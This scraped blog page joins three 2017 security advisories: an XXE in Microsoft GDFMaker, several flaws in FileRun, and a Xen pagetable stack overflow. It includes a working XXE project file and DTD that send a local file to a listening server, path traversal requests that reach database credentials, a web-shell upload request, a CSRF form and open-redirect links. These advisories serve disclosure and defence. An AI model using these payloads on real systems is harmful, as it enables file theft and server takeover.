[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MS-WINDOWS-GAME-DEFINITION-FILE-MAKER-v6.3.9600-XML-EXTERNAL-ENTITY.txt
[+] ISR: ApparitionSec
Vendor:
=================
www.microsoft.com
Product:
===========
GDFMaker v6.3.9600.16384
Game Definition File Editor (gdfmaker.exe)
The Game Definition File Editor is a graphical utility designed for creating localized game definition files (GDFs)
as well as the necessary resource compiler scripts to compile game-definition files. The GDF editor uses a project-based
format to organize data.
Vulnerability Type:
===================
XML External Entity
CVE Reference:
==============
N/A
Security Issue:
================
If a user loads an attacker supplied "GDFMakerProject" file type into GDF Maker using Ctrl+O or file menu, local files can be exfiltrated
to remote attacker controlled server, as gdfmaker.exe is vulnerable to XML External Entity Expansion attacks.
gdfmaker.exe can be found on Windows systems as part of Windows Kits: "C:\Program Files (x86)\Windows Kits\8.1\bin\x86\"
Note: The malicious file has to be opened using Ctrl + O or File / Open, double clicking does not seem to trigger it.
Victim may see an error like ... "There is an error in XML document(2,11)" and we get the victims file sent to our remote server.
Exploit/POC:
=============
Steal "msdfmap.ini" used by Remote MS ADO services POC.
1) "PWN.GDFMakerProject"
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % sp SYSTEM "http://127.0.0.1:8000/exfil.dtd">
%sp;
%param3;
%exfil;
]>
2) "exfil.dtd"
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'http://localhost:8000/%data3;'>">
3) Start our file listener on Port 8000
C:\>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
4) Open the infected file using Ctrl+O or File Menu Open methods.
BOOOOM!
127.0.0.1 - - [18/Oct/2017 14:17:54] "GET /exfil.dtd HTTP/1.1" 200 -
127.0.0.1 - - [18/Oct/2017 14:17:54] code 404, message File not found
127.0.0.1 - - [18/Oct/2017 14:17:54] "GET /;%5Bconnect%20name%5D%20will%20modify%20the%20connection%20if%20ADC.connect=%22name%22%0D%0A;%5Bconnect%20default%5D%20will%20modify%20the%20connection%20if%20name%20is%20not%20found%0D%0A;%5Bsql%20name%5D%20will%20modify%20the%20Sql%20if%20ADC.sql=%22name(args)%22%0D%0A;%5Bsql%20default%5D%20will%20modify%20the%20Sql%20if%20name%20is%20not%20found%0D%0A;Override%20strings:%20Connect,%20UserId,%20Password,%20Sql.%0D%0A;Only%20the%20Sql%20strings%20support%20parameters%20using%20%22?%22%0D%0A;The%20override%20strings%20must%20not%20equal%20%22%22%20or%
20they%20are%20ignored%0D%0A;A%20Sql%20entry%20must%20exist%20in%20each%20sql%20section%20or%20the%20section%20is%20ignored%0D%0A;An%20Access%20entry%20must%20exist%20in%20each%20connect%20section%20or%20the%20section%20is%20ignored%0D%0A;Access=NoAccess%0D%0A;Access=ReadOnly%0D%0A;Access=ReadWrite%0D%0A;%5Buserlist%20name%5D%20allows%20specific%20users%20to%20have%20special%20access%0D%0A;The%20Access%20is%20computed%20as%20follows:%0D%0A;%20%20(1)%20First%20take%20the%20access%20of%20the%20connect%20section.%0D%0A;%20%20(2)%20If%20a%20user%20entry%20is%20found,%20it%20will%20override.%0D%0A%
0D%0A%5Bconnect%20default%5D%0D%0A;If%20we%20want%20to%20disable%20unknown%20connect%20values,%20we%20set%20Access%20to%20NoAccess%0D%0AAccess=NoAccess%0D%0A%0D%0A%5Bsql%20default%5D%0D%0A;If%20we%20want%20to%20disable%20unknown%20sql%20values,%20we%20set%20Sql%20to%20an%20invalid%20query.%0D%0ASql=%22%20%22%0D%0A%0D%0A%5Bconnect%20CustomerDatabase%5D%0D%0AAccess=ReadWrite%0D%0AConnect=%22DSN=AdvWorks%22%0D%0A%0D%0A%5Bsql%20CustomerById%5D%0D%0ASql=%22SELECT%20*%20FROM%20Customers%20WHERE%20CustomerID%20=%20?%22%0D%0A%0D%0A%5Bconnect%20AuthorDatabase%5D%0D%0AAccess=ReadOnly%0D%0AConnect=%22DSN
=MyLibraryInfo;UID=MyUserID;PWD=MyPassword%22%0D%0A%0D%0A%5Buserlist%20AuthorDatabase%5D%0D%0AAdministrator=ReadWrite%0D%0A%0D%0A%5Bsql%20AuthorById%5D%0D%0ASql=%22SELECT%20*%20FROM%20Authors%20WHERE%20au_id%20=%20?%22 HTTP/1.1" 404 -
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: October 8, 2016
Vendor reply : October 8, 2016 "Upon investigation we have determined that this does not meet the bar for security servicing as it would require an individual to download a malicious file from an untrusted source"
vendor reply : November 5, 2016 "opened case 35611"
vendor reply : November 8, 2016 "We have successfully reproduced the issue that you reported to us"
Vendor reply : December 5, 2016 "will be fixing this issue in next version of SDK which will be released along with major Windows update"
October 18, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863147353
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
SEC Consult Vulnerability Lab Security Advisory < 20171018-0 >
=======================================================================
title: Multiple vulnerabilities
product: Afian AB FileRun
vulnerable version: 2017.03.18
fixed version: 2017.09.18
impact: critical
homepage: https://www.filerun.com | https://afian.se
found: 2017-08-28
by: Roman Ferdigg (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"FileRun File Manager: access your files anywhere through self-hosted
secure cloud storage, file backup and sharing for your photos, videos,
files and more. Upload and download large files for easy sharing. Google
Drive self-hosted alternative."
Source: https://www.filerun.com
Business recommendation:
------------------------
By exploiting the vulnerabilities documented in this advisory, an attacker
can compromise the web server which has FileRun installed. User files might
get exposed through this attack.
SEC Consult recommends not to use FileRun until a thorough security review
has been performed by security professionals and all identified issues have
been resolved.
Vulnerability overview/description:
-----------------------------------
1) Path Manipulation
When uploading, downloading or viewing files, FileRun uses a parameter to
specify the path on the file-system. An attacker can manipulate the value
of this parameter to read, create and even overwrite files in certain
folders. An attacker could upload malicious files to compromise the
webserver. In combination with the open redirect and CSRF vulnerability
even an unauthenticated attacker can upload these files to get a shell.
Through the shell all user files can be accessed.
2) Stored Cross Site Scripting (XSS) via File Upload
The application allows users to upload different file types. It is also
possible to upload HTML files or to create them via the application's text
editor. Files can be shared using a link or within the FileRun application
(in the enterprise version). An attacker can inject JavaScript in HTML
files to attack other users or simply create a phishing site to steal user
credentials.
Remark:
In the standard configuration of the FileRun docker image the HttpOnly
cookie flag is not set, which means that authentication cookies can be
accessed in an XSS attack. This allows easy session hijacking as well.
3) Cross Site Request Forgery (CSRF)
The application does not implement CSRF protection. An attacker can exploit
this vulnerability to execute arbitrary requests with the privileges of the
victim. The only requirement is that a victim visits a malicious webpage.
Such a page could be hosted on the FileRun server itself and shared with
other users as described in vulnerability 2.
Besides others, the following actions can be performed via CSRF if the
victim has administrative privileges:
- Create or delete users
- Change permissions rights of users
- Change user passwords
If the victim has no administrative privileges, for example the following
actions can be performed:
- Upload files
- Change the email address (for password recovery)
4) Open Redirect Vulnerabilities
An open redirect vulnerability in the login and logout pages allows an
attacker to redirect users to arbitrary web sites. The redirection host
could be used for phishing attacks (e.g. to steal user credentials) or for
running browser exploits to infect a victim's machine with malware. The open
redirect in the login page could also be used to exploit CSRF (see above).
Because the server name in the manipulated link is identical to the
original site, phishing attempts may have a more trustworthy appearance.
Proof of concept:
-----------------
1) Path Manipulation
The URL below is used to read the application file "autoconfig.php", which
contains the username and cleartext password of the database.
URL:
http://$DOMAIN/?module=custom_actions&action=open_in_browser&path=/var/www/html/system/data/autoconfig.php
This post request is used to upload a PHP shell in the writable folder
avatars:
POST /?module=fileman_myfiles§ion=ajax&page=up HTTP/1.1
Host: $DOMAIN
[...]
Content-Type: multipart/form-data; boundary=---------------------------293712729522107
Cookie: FileRunSID=t5h7lm99r1ff0quhsajcudh7t0; language=english
DNT: 1
Connection: close
-----------------------------293712729522107
Content-Disposition: form-data; name="flowTotalSize"
150
-----------------------------293712729522107
Content-Disposition: form-data; name="flowIsFirstChunk"
1
-----------------------------293712729522107
Content-Disposition: form-data; name="flowIsLastChunk"
1
-----------------------------293712729522107
Content-Disposition: form-data; name="flowFilename"
shell.php
-----------------------------293712729522107
Content-Disposition: form-data; name="path"
/var/www/html/system/data/avatars/
-----------------------------293712729522107
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
*web shell payload here*
-----------------------------293712729522107--
To execute the uploaded shell a .htaccess file with the contents below can
be uploaded in the same folder.
Content of .htaccess file:
<Files "*">
Order allow,deny
Allow from all
</Files>
The uploaded shell can be accessed by the following URL:
http://$DOMAIN/?module=custom_actions&action=open_in_browser&path=/var/www/html/system/data/avatars/shell.php
2) Stored Cross Site Scripting (XSS) via File Upload
An HTML file with JavaScript code can be easily uploaded to attack other users.
No PoC necessary.
3) Cross Site Request Forgery
An example for a CSRF attack would be the following request which changes
the email address of the victim:
<html>
<body>
<form action="http://$DOMAIN/?module=fileman§ion=profile&action=save"
method="POST">
<input type="hidden" name="receive_notifications" value="0" />
<input type="hidden" name="two_step_enabled" value="0" />
<input type="hidden" name="name" value="User" />
<input type="hidden" name="name2" value="A" />
<input type="hidden" name="email" value="newemail@example.com" />
<input type="hidden" name="ext-comp-1009" value="on" />
<input type="hidden" name="current_password" value="" />
<input type="hidden" name="new_password" value="" />
<input type="hidden" name="confirm_new_password" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
The new email address can be used by the attacker to reset the password of
the victim.
4) Open Redirect Vulnerabilites
The URL below can be used to forward a user to an arbitrary website after
the login:
http://$DOMAIN/?redirectAfterLogin=aHR0cDovL3d3dy5ldmlsLmNvbQ==
The value of the redirect parameter needs to be base64 encoded.
To redirect a user after logout, following URL can be used:
http://$DOMAIN/?module=fileman&page=logout&redirect=http://evil.com
In this case for a successful exploit, the victim has to be logged in.
Vulnerable / tested versions:
-----------------------------
The regular version of FileRun 2017.03.18 has been tested. It is assumed
earlier versions of FileRun are also vulnerable to the issues.
Vendor contact timeline:
------------------------
2017-08-31: Contacting vendor through info@afian.se, info@filerun.com
2017-09-01: Sending unencrypted advisory as requested by vendor
2017-09-04: FileRun fixed the vulnerability "Path Manipulation"
2017-09-12: Requesting a status update
2017-09-13: FileRun informed us that a patch for all vulnerabilities will
be released before 2017-09-20
2017-09-16: Patch available
2017-10-18: Public release of security advisory
Solution:
---------
Update to the latest version available (see https://docs.filerun.com/updating).
According to FileRun, all the vulnerabilities are fixed in release
2017.09.18 or higher.
For further information see:
https://www.filerun.com/changelog
Workaround:
-----------
No workaround available.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Roman Ferdigg / @2017
Xen allows pagetables of the same level to map each other as readonly
in PV domains. This is useful if a guest wants to use the
self-referential pagetable trick for easy access to pagetables
by mapped virtual address.
When cleaning up a pagetable after the last typed reference to it has been
dropped (via __put_page_type() -> __put_final_page_type() -> free_page_type()),
Xen will recursively drop the typed refcounts of pages referenced by the pagetable,
potentially recursively cleaning them up as well.
For normal pagetables, the recursion depth is bounded by the number of paging levels
the architecture supports. However, no such depth limit exists for pagetables of the
same depth that map each other.
The attached PoC will set up a chain of 1000 L4 pagetables such that
the first pagetable is type-pinned and each following pagetable is referenced by the
previous one. Then, the type-pin of the first pagetable is removed, and the following
999 pagetables are recursively cleaned up, causing a stack overflow.
To run the PoC in a PV domain, install kernel headers, then run ./compile, then load the built module via insmod.
Xen console output caused by running the PoC inside a normal PV domain:
==============================
(XEN) Xen version 4.8.1 (Debian 4.8.1-1+deb9u3) (ian.jackson@eu.citrix.com) (gcc (Debian 6.3.0-18) 6.3.0 20170516) debug=n Thu Sep 7 18:24:26 UTC 2017
(XEN) Bootloader: GRUB 2.02~beta3-5
(XEN) Command line: loglvl=all com1=115200,8n1,pci console=com1 placeholder
(XEN) Video information:
(XEN) VGA is text mode 80x25, font 8x16
(XEN) Disc information:
(XEN) Found 1 MBR signatures
(XEN) Found 1 EDD information structures
(XEN) Xen-e820 RAM map:
(XEN) 0000000000000000 - 000000000009fc00 (usable)
(XEN) 000000000009fc00 - 00000000000a0000 (reserved)
(XEN) 00000000000f0000 - 0000000000100000 (reserved)
(XEN) 0000000000100000 - 00000000dfff0000 (usable)
(XEN) 00000000dfff0000 - 00000000e0000000 (ACPI data)
(XEN) 00000000fec00000 - 00000000fec01000 (reserved)
(XEN) 00000000fee00000 - 00000000fee01000 (reserved)
(XEN) 00000000fffc0000 - 0000000100000000 (reserved)
(XEN) 0000000100000000 - 0000000120000000 (usable)
(XEN) ACPI: RSDP 000E0000, 0024 (r2 VBOX )
(XEN) ACPI: XSDT DFFF0030, 003C (r1 VBOX VBOXXSDT 1 ASL 61)
(XEN) ACPI: FACP DFFF00F0, 00F4 (r4 VBOX VBOXFACP 1 ASL 61)
(XEN) ACPI: DSDT DFFF0470, 210F (r1 VBOX VBOXBIOS 2 INTL 20140214)
(XEN) ACPI: FACS DFFF0200, 0040
(XEN) ACPI: APIC DFFF0240, 0054 (r2 VBOX VBOXAPIC 1 ASL 61)
(XEN) ACPI: SSDT DFFF02A0, 01CC (r1 VBOX VBOXCPUT 2 INTL 20140214)
(XEN) System RAM: 4095MB (4193852kB)
(XEN) No NUMA configuration found
(XEN) Faking a node at 0000000000000000-0000000120000000
(XEN) Domain heap initialised
(XEN) CPU Vendor: Intel, Family 6 (0x6), Model 78 (0x4e), Stepping 3 (raw 000406e3)
(XEN) found SMP MP-table at 0009fff0
(XEN) DMI 2.5 present.
(XEN) Using APIC driver default
(XEN) ACPI: PM-Timer IO Port: 0x4008 (32 bits)
(XEN) ACPI: SLEEP INFO: pm1x_cnt[1:4004,1:0], pm1x_evt[1:4000,1:0]
(XEN) ACPI: wakeup_vec[dfff020c], vec_size[20]
(XEN) ACPI: Local APIC address 0xfee00000
(XEN) ACPI: LAPIC (acpi_id[0x00] lapic_id[0x00] enabled)
(XEN) ACPI: IOAPIC (id[0x01] address[0xfec00000] gsi_base[0])
(XEN) IOAPIC[0]: apic_id 1, version 32, address 0xfec00000, GSI 0-23
(XEN) ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
(XEN) ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
(XEN) ACPI: IRQ0 used by override.
(XEN) ACPI: IRQ2 used by override.
(XEN) ACPI: IRQ9 used by override.
(XEN) Enabling APIC mode: Flat. Using 1 I/O APICs
(XEN) ERST table was not found
(XEN) Using ACPI (MADT) for SMP configuration information
(XEN) SMP: Allowing 1 CPUs (0 hotplug CPUs)
(XEN) IRQ limits: 24 GSI, 184 MSI/MSI-X
(XEN) Not enabling x2APIC: depends on iommu_supports_eim.
(XEN) xstate: size: 0x440 and states: 0x7
(XEN) CPU0: No MCE banks present. Machine check support disabled
(XEN) Using scheduler: SMP Credit Scheduler (credit)
(XEN) Platform timer is 3.579MHz ACPI PM Timer
(XEN) Detected 2807.850 MHz processor.
(XEN) Initing memory sharing.
(XEN) alt table ffff82d0802bcf38 -> ffff82d0802be594
(XEN) I/O virtualisation disabled
(XEN) nr_sockets: 1
(XEN) ENABLING IO-APIC IRQs
(XEN) -> Using new ACK method
(XEN) ..TIMER: vector=0xF0 apic1=0 pin1=2 apic2=-1 pin2=-1
(XEN) Allocated console ring of 16 KiB.
(XEN) Brought up 1 CPUs
(XEN) build-id: cd504b2b380e2fe1265376aa845a404b9eb86982
(XEN) CPUIDLE: disabled due to no HPET. Force enable with 'cpuidle'.
(XEN) ACPI sleep modes: S3
(XEN) VPMU: disabled
(XEN) xenoprof: Initialization failed. Intel processor family 6 model 78is not supported
(XEN) Dom0 has maximum 208 PIRQs
(XEN) NX (Execute Disable) protection active
(XEN) *** LOADING DOMAIN 0 ***
(XEN) Xen kernel: 64-bit, lsb, compat32
(XEN) Dom0 kernel: 64-bit, PAE, lsb, paddr 0x1000000 -> 0x1f5a000
(XEN) PHYSICAL MEMORY ARRANGEMENT:
(XEN) Dom0 alloc.: 0000000118000000->000000011a000000 (989666 pages to be allocated)
(XEN) Init. ramdisk: 000000011ed74000->000000011ffff3b5
(XEN) VIRTUAL MEMORY ARRANGEMENT:
(XEN) Loaded kernel: ffffffff81000000->ffffffff81f5a000
(XEN) Init. ramdisk: 0000000000000000->0000000000000000
(XEN) Phys-Mach map: 0000008000000000->00000080007a6370
(XEN) Start info: ffffffff81f5a000->ffffffff81f5a4b4
(XEN) Page tables: ffffffff81f5b000->ffffffff81f6e000
(XEN) Boot stack: ffffffff81f6e000->ffffffff81f6f000
(XEN) TOTAL: ffffffff80000000->ffffffff82000000
(XEN) ENTRY ADDRESS: ffffffff81d38180
(XEN) Dom0 has maximum 1 VCPUs
(XEN) Scrubbing Free RAM on 1 nodes using 1 CPUs
(XEN) ....................................done.
(XEN) Initial low memory virq threshold set at 0x4000 pages.
(XEN) Std. Loglevel: All
(XEN) Guest Loglevel: Nothing (Rate-limited: Errors and warnings)
(XEN) *** Serial input -> DOM0 (type 'CTRL-a' three times to switch input to Xen)
(XEN) Freed 312kB init memory
mapping kernel into physical memory
about to get started...
(XEN) d0 attempted to change d0v0's CR4 flags 00000620 -> 00040660
(XEN) PCI add device 0000:00:00.0
(XEN) PCI add device 0000:00:01.0
(XEN) PCI add device 0000:00:01.1
(XEN) PCI add device 0000:00:02.0
(XEN) PCI add device 0000:00:03.0
(XEN) PCI add device 0000:00:04.0
(XEN) PCI add device 0000:00:05.0
(XEN) PCI add device 0000:00:06.0
(XEN) PCI add device 0000:00:07.0
(XEN) PCI add device 0000:00:08.0
(XEN) PCI add device 0000:00:0d.0
Debian GNU/Linux 9 xenhost hvc0
xenhost login: (XEN) d1 attempted to change d1v0's CR4 flags 00000620 -> 00040660
(XEN) d1 attempted to change d1v1's CR4 flags 00000620 -> 00040660
(XEN) *** DOUBLE FAULT ***
(XEN) ----[ Xen-4.8.1 x86_64 debug=n Not tainted ]----
(XEN) CPU: 0
(XEN) RIP: e008:[<ffff82d08017962a>] free_page_type+0xea/0x630
(XEN) RFLAGS: 0000000000010206 CONTEXT: hypervisor
(XEN) rax: 000000000000a3db rbx: ffff82e000147b60 rcx: 0000000000000000
(XEN) rdx: ffff830000000000 rsi: 4000000000000000 rdi: 000000000000a3db
(XEN) rbp: 4400000000000001 rsp: ffff8300dfce5ff8 r8: ffff8300dfce7fff
(XEN) r9: ffff82d0802f2980 r10: 0000000000000000 r11: 0000000000000202
(XEN) r12: 000000000000a3db r13: ffff83011fd74000 r14: ffff83011fd74000
(XEN) r15: 0000000000000000 cr0: 000000008005003b cr4: 00000000000406a0
(XEN) cr3: 000000000702d000 cr2: ffff8300dfce5fe8
(XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: e010 cs: e008
(XEN) Valid stack range: ffff8300dfce6000-ffff8300dfce8000, sp=ffff8300dfce5ff8, tss.esp0=ffff8300dfce7fc0
(XEN) Xen stack overflow (dumping trace ffff8300dfce6000-ffff8300dfce8000):
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d08016af21>] io_apic.c#ack_edge_ioapic_irq+0x11/0x60
(XEN) [<ffff82d08016af21>] io_apic.c#ack_edge_ioapic_irq+0x11/0x60
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d0801793ae>] mm.c#get_page_from_pagenr+0x4e/0x60
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d0801768e9>] is_iomem_page+0x9/0x70
(XEN) [<ffff82d08010baec>] grant_table.c#__gnttab_unmap_common_complete+0x17c/0x360
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080146684>] serial_tx_interrupt+0xe4/0x120
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017234a>] do_IRQ+0x22a/0x660
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080237f6f>] common_interrupt+0x5f/0x70
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d08017a028>] put_page_from_l1e+0xb8/0x130
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d08017a28a>] mm.c#put_page_from_l2e+0x7a/0x190
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d08017a438>] mm.c#put_page_from_l4e+0x88/0xc0
(XEN) [<ffff82d080179697>] free_page_type+0x157/0x630
(XEN) [<ffff82d0801793ae>] mm.c#get_page_from_pagenr+0x4e/0x60
(XEN) [<ffff82d080179cdf>] mm.c#__put_page_type+0x16f/0x290
(XEN) [<ffff82d0801791e3>] get_page+0x13/0xf0
(XEN) [<ffff82d080183056>] do_mmuext_op+0x1056/0x1500
(XEN) [<ffff82d080182000>] do_mmuext_op+0/0x1500
